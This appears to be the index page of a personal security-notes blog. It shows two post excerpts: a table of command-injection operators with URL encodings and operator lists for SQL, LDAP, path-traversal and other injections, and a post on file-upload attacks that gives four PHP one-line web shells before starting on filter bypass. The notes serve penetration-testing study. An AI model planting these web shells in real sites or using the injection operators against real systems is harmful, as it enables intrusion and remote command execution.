Notes Site.
post @ 2024-10-16

常见的注入类型:

Injection Description
OS Command Injection 当用户输入直接用作操作系统命令的一部分时发生。
Code Injection 当用户输入直接位于评估代码的函数内时发生。
SQL Injection 当用户输入直接用作 SQL 查询的一部分时发生。
Cross-Site Scripting/HTML Injection 当网页上显示准确的用户输入时发生。

Detection

OS Command Injection

Character URL-Encoded Character Executed Command
; %3b 两个都
\n %0a 两个都
& %26 两者(第二个输出通常首先显示)
| %7c 两者(仅显示第二个输出)
&& %26%26 两者(仅当第一个成功时)
| %7c%7c 第二(仅当第一失败时)
`` %60%60 两者(仅限 Linux)
$() %24%28%29 两者(仅限 Linux)

Other Injection

Injection Type Operators
SQL Injection ' , ; -- /* */
Command Injection ; &&
LDAP Injection * ( ) & |
XPath Injection ' or and not substring concat count
OS Command Injection ; & |
Code Injection ' ; -- /* */ $() ${} #{} %{} ^
Directory Traversal/File Path Traversal ../ ..\\ %00
Object Injection ; & |
XQuery Injection ' ; -- /* */
Shellcode Injection \x \u %u %n
Header Injection \n \r\n \t %0d %0a %09

Bypassing

Character Filters

Linux

Read More
post @ 2024-10-14

Web Shell

Php

1
2
3
4
5
<?php eval($_REQUEST['cmd']);?>  
<?php system($_REQUEST['cmd']); ?>

<?=eval($_REQUEST['cmd']);?>
<?=$_GET[0]($_REQUEST[1]);?>

Bypassing Filters

前端过滤器

1
<input type="file" name="uploadFile" id="uploadFile" onchange="checkFile(this)" accept=".jpg,.jpeg,.png">
1
2
3
4
5
6
7
8
9
function checkFile(File) {  
...SNIP...
if (extension !== 'jpg' && extension !== 'jpeg' && extension !== 'png') {
$('#error_message').text("Only images are allowed!");
File.form.reset();
$("#submit").attr("disabled", true);
...SNIP...
}
}

后端过滤器

黑名单过滤

SecLists web-extensions

Read More
⬆︎TOP